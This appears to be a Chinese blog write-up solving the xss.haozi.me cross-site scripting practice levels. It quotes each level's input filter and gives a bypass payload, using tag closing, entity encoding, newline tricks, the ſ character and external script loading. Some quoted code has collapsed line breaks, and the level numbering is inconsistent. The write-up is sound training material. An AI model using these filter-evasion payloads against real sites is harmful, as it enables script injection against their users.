当前位置: 首页 > news >正文

xss.haozi.me靶场练习

靶场地址alert(1)

1、第一关

输入在文本框里面,我们闭合前面的标签,中间的内容我们就可以随意写了

2、第二关

逃逸value的属性即可,这里使用点击事件触发xss

3、第三关

看代码,使用了正则表达式,去掉了所有的括号字符

/[()]/g是一个正则表达式,表示匹配字符串中包含的括号字符"()"。在正则表达式中,方括号[]表示字符集合,其中列出的字符表示需要匹配的字符。因此[()]表示匹配任何一个括号字符,即左括号"("或右括号")"。而后面的g标志表示全局匹配,即匹配整个字符串中的所有符合条件的部分,而不是只匹配第一个。

function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}

尝试编码绕过,但是因为在JavaScript里面不会解码,因此编码绕过失败

(1)a标签

我们使用a标签,里面使用编码却可以绕过,为啥?因为编码有顺序

在href里面,先是解析url编码,然后html实体编码,最后是JavaScript编码。所以在里面先被html实体编码解析过了,括号已经生成了

<a href="javascript:alert&#40;1&#41;">test</a>

(2)iframe标签

既然html在JavaScript前面,那么具有url编码的iframe标签也可以进行

<iframe src="javascript:alert&#40;1&#41;">test</iframe>

4、第四关

和上一关payload一样,只是增加了个反引号过滤罢了

5、第五关

让我们逃逸注释符

function render (input) {input = input.replace(/-->/g, '😂')return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>

上面这种可以闭合

6、第六关

源码过滤了以auto或on开头并且结尾是=的字符串,替换成_了,我们可以使用换行来分开这串字符串

function render (input) {input = input.replace(/auto|on.*=|>/ig, '_')return `<input value=1 ${input} type="text">`
}

payload

onclick
=alert(1)

7、第七关

源码过滤了html的常用标签符号,当我们尝试<>,就会过滤掉,因此绕过方法是使用单标签不完全闭合。

function render (input) {const stripTagsRe = /<\/?[^>]+>/giinput = input.replace(stripTagsRe, '')return `<article>${input}</article>`
}
<img src=x onerror="alert(1)"

8、第八关

正则过滤了</script>,和前面一关很像,直接换行过滤即可

</style
>
<script>alert(1)</script>
<style>

9、第九关

https://www.segmentfault.com"></script><script>alert(1)</script>//
https://www.segmentfault.com.haozi.me/j.js

10、0x0A

URL重定向

https://www.segmentfault.com.haozi.me/j.js

11、0x0B

源码将输入的转成大写了,JavaScript肯定不行了,但是HTML不区分大小写,符号和数字也不会,那就用编码呗

function render (input) {input = input.toUpperCase()return `<h1>${input}</h1>`
}
<img src="" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

12、0x0C

和上一关payload一样,编码绕过大写即可

13、0x0D

这一关过滤了< " '而且前面还有注释,我们使用换行绕过//,使用-->注释掉


alert(1)
-->

14、0x0E

源码将html的标签转换为以_开头,所有输入转为大写

function render (input) {input = input.replace(/<([a-zA-Z])/g, '<_$1')input = input.toUpperCase()return '<h1>' + input + '</h1>'
}

特殊技巧用ſ字符可以替换s

<ſcript src="https://xss.haozi.me/j.js"></script>

15、0x0F

闭合括号就行

');alert('1

16、第十关

直接闭合前面的<script标签即可>

</script><script>alert(1)

17、第十一关

还是闭合加注释即可

");alert(1)//

18、第十二关

转义转义我们的转义符号

\");alert(1)//

Yes 结束!

相关文章:

xss.haozi.me靶场练习

靶场地址alert(1) 1、第一关 输入在文本框里面&#xff0c;我们闭合前面的标签&#xff0c;中间的内容我们就可以随意写了 2、第二关 逃逸value的属性即可&#xff0c;这里使用点击事件触发xss 3、第三关 看代码&#xff0c;使用了正则表达式&#xff0c;去掉了所有的括号字…...

Unity 游戏设计模式:观察者模式

本文由 简悦 SimpRead 转码&#xff0c; 原文地址 mp.weixin.qq.com 在 unity 游戏设计中&#xff0c;观察者模式&#xff08;Observer Pattern&#xff09;有着重要的作用&#xff0c;它主要用于实现对象之间的一对多的依赖关系&#xff0c;当一个对象的状态发生变化时&#x…...

计算机体系结构安全:对体系结构如何支持安全机制进行调研

一、体系结构支持信任建立和主动防御的技术&#xff1a; 可信3.0 二、体系结构怎么更好的支持信任建立和主动防御 2.1 支持信任建立 一、以手机芯片举例&#xff0c;用智能手机的芯片作为信任根&#xff0c;确保应用程序和敏感数据受到保护。 二、启动时验证操作系统和应用…...

b站小土堆pytorch学习记录—— P15 Dataloader的使用

文章目录 一、前置知识1.dataloader简要介绍2.dataloader 官方文档&#xff08;翻译后&#xff09; 二、DataLoader的使用 一、前置知识 1.dataloader简要介绍 DataLoader 是 PyTorch 中用于加载数据的实用工具&#xff0c;它可以处理数据集的批量加载、数据集的随机打乱、多…...

小程序中使用echarts地图

一、下载并安装echarts 1、下载echarts-for-weixin组件 echarts-for-weixin项目提供了一个小程序组件&#xff0c;用这种方式可以在小程序中方便地使用 ECharts。 下载ec-canvas项目&#xff08;下载地址&#xff09; ​​ 注意&#xff1a;下载的 ec-canvas 中的echarts的版本…...

swoole协程

协程执行顺序 //hyperf框架 use Co;go(function () {Co::sleep(1); // Io等待一秒echo "hello go1 \n";});echo "hello main \n";go(function () {echo "hello go2 \n";});//打印结果hello mainhello go2hello go1/*运行此段代码, 系统启动一个…...

Android Gradle 开发与应用 (一) : Gradle基础

1. Gradle是什么 Gradle是一个通用的构建工具&#xff0c;支持诸多主要的 IDE&#xff0c;包括 Android Studio、IntelliJ IDEA、Visual Studio 等 Gradle 的底层实现(核心引擎和框架)其实是用 Java 编写的开发者通常使用 Groovy 或 Kotlin 来编写构建脚本 1.1 那么为什么Gra…...

PostgreSQL操作笔记

基础操作 数据库相关 -- 查看所有数据库 \l-- 切换到指定数据库 \c 库名-- 查看库中所有表 \d执行SQL脚本 如果有现成的SQL脚本&#xff1a; \i 脚本路径路径一般需要用单引号引起来。 如果需要当场编辑一次性的SQL脚本&#xff0c;可以&#xff1a; \e执行上述命令后会进…...

【微服务】微服务中常用认证加密方案总结

目录 一、前言 二、登录认证安全问题 3.1 认证方式选择 三、常用的加密方案 3.1 MD5加密算法 3.1.1 md5特点 3.1.2 md5原理 3.1.3 md5使用场景 3.2 AES加密算法 3.2.1 AES简介 3.2.2 AES加解原理 3.2.3 AES算法优缺点 3.2.4 AES算法使用场景 3.3 RSA加密算法 3.3…...

【Unity】实现从Excel读取数据制作年份选择器

效果预览&#xff1a; 此处利用Excel来读取数据来制作年份选择器&#xff0c;具体步骤如下。 如果只是制作年份选择器可以参考我这篇文章&#xff1a;构建简单实用的年份选择器&#xff08;简单原理示范&#xff09; 目录 效果预览&#xff1a; 一、 Excel准备与存放 1.1 …...

Sqli-labs靶场第18关详解[Sqli-labs-less-18]自动化注入-SQLmap工具注入

Sqli-labs-Less-18 通过测试发现&#xff0c;在登录界面没有注入点&#xff0c;通过已知账号密码admin&#xff0c;admin进行登录发现&#xff1a; 返回了User Agent&#xff0c;设想如果在User Agent尝试加上注入语句&#xff08;报错注入&#xff09;&#xff0c;测试是否会…...

【测开求职】2023秋招快手一面面经

已经过了百度测开三面,快手这个一面比百度的要难很多,可能也是遇到了比较严格的面试官,感觉其他面经没有这么难。30分钟实习,20分钟算法题,20分钟八股,没有问项目。 实习 diff遇到了哪些痛点diff是全量还是增量一些字段的增加或者枚举值的增加可以用diff测吗有哪些自动化…...

【Go语言】Go语言中的字典

Go语言中的字典 字典就是存储键值对映射关系的集合&#xff0c;在Go语言中&#xff0c;需要在声明时指定键和值的类型&#xff0c;此外Go语言中的字典是个无序集合&#xff0c;底层不会按照元素添加顺序维护元素的存储顺序。 如下所示&#xff0c;Go语言中字典的简单示例&…...

Matlab 机器人工具箱 创建机器人

文章目录 1 创建机器人的几种方法1.1 方法11.2 方法21.3 方法31.4 方法41.5 方法51.6 方法6 2 定义Link属性3 查看Link属性 1 创建机器人的几种方法 1.1 方法1 % theta d a alpha sigma >> L1Link([0 1 0.5 0 0],standard)L1 Revolute(std): thetaq, d1, a0…...

跨平台指南:在 Windows 和 Linux 上安装 OpenSSL 的完整流程

Windows安装 一&#xff1a;找到安装包&#xff0c;双击即可 https://gitee.com/wake-up-again/installation-package.git 二&#xff1a;按照提示&#xff0c;一步一步来&#xff0c;就可以啦 三&#xff1a;此界面意思是&#xff0c;是否想向创作者捐款&#xff0c;自己视情…...

JAVA请求示例获取1688商品详情数据API接口item_get-获得阿里巴巴商品详情(按关键词搜索商品列表)

要获取1688&#xff08;阿里巴巴&#xff09;的商品详情数据&#xff0c;你需要使用阿里巴巴开放平台提供的API接口。与淘宝开放平台类似&#xff0c;你需要先在阿里巴巴开放平台注册账号&#xff0c;创建应用&#xff0c;并获取app_key和app_secret。然后&#xff0c;根据阿里…...

安卓手机安装termux、kali linux及基本配置

相关阅读&#xff1a;Termux 高级终端安装使用配置教程 | 国光 百度安全验证 该文安装的 kali liunx 应该是简易版的&#xff0c;没有相关工具 一、下载安装termux 建议通过 f-droid 应用市场下载链接termux&#xff0c;点击即直接下载。 二、配置termux 1.更换镜像源 te…...

Python 实现海康机器人工业相机 MV-CS050-10GC 的实时显示视频流及拍照功能(实时显示视频流同时可以进行拍照)

参考链接&#xff1a; https://www.cnblogs.com/HanYork/p/17388506.html https://www.cnblogs.com/miracle-luna/p/16960556.html#5138211 Flask搭建流媒体服务器&#xff1a;使用Flask搭建一个流媒体服务器_multipart/x-mixed-replace; boundaryframe-CSDN博客...

武器大师——操作符详解(下)

目录 六、单目操作符 七、逗号表达式 八、下标引用以及函数调用 8.1.下标引用 8.2.函数调用 九、结构体 9.1.结构体 9.1.1结构的声明 9.1.2结构体的定义和初始化 9.2.结构成员访问操作符 9.2.1直接访问 9.2.2间接访问 十、操作符的属性 10.1.优先性 10.2.结合性 …...

鸿蒙Harmony应用开发—ArkTS声明式开发(通用属性:Popup控制)

给组件绑定popup弹窗&#xff0c;并设置弹窗内容&#xff0c;交互逻辑和显示状态。 说明&#xff1a; 从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 popup弹窗的显示状态在onStateChange事件回调中反馈&#xff0c;其显…...

业务系统对接大模型的基础方案:架构设计与关键步骤

业务系统对接大模型&#xff1a;架构设计与关键步骤 在当今数字化转型的浪潮中&#xff0c;大语言模型&#xff08;LLM&#xff09;已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中&#xff0c;不仅可以优化用户体验&#xff0c;还能为业务决策提供…...

相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)

【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

【python异步多线程】异步多线程爬虫代码示例

claude生成的python多线程、异步代码示例&#xff0c;模拟20个网页的爬取&#xff0c;每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程&#xff1a;允许程序同时执行多个任务&#xff0c;提高IO密集型任务&#xff08;如网络请求&#xff09;的效率…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现录音机应用

1. 项目配置与权限设置 1.1 配置module.json5 {"module": {"requestPermissions": [{"name": "ohos.permission.MICROPHONE","reason": "录音需要麦克风权限"},{"name": "ohos.permission.WRITE…...

全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比

目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec&#xff1f; IPsec VPN 5.1 IPsec传输模式&#xff08;Transport Mode&#xff09; 5.2 IPsec隧道模式&#xff08;Tunne…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…...

2025季度云服务器排行榜

在全球云服务器市场&#xff0c;各厂商的排名和地位并非一成不变&#xff0c;而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势&#xff0c;对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析&#xff1a; 一、全球“三巨头”…...

代码随想录刷题day30

1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币&#xff0c;另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额&#xff0c;返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...

LRU 缓存机制详解与实现(Java版) + 力扣解决

&#x1f4cc; LRU 缓存机制详解与实现&#xff08;Java版&#xff09; 一、&#x1f4d6; 问题背景 在日常开发中&#xff0c;我们经常会使用 缓存&#xff08;Cache&#xff09; 来提升性能。但由于内存有限&#xff0c;缓存不可能无限增长&#xff0c;于是需要策略决定&am…...

多模态图像修复系统:基于深度学习的图片修复实现

多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...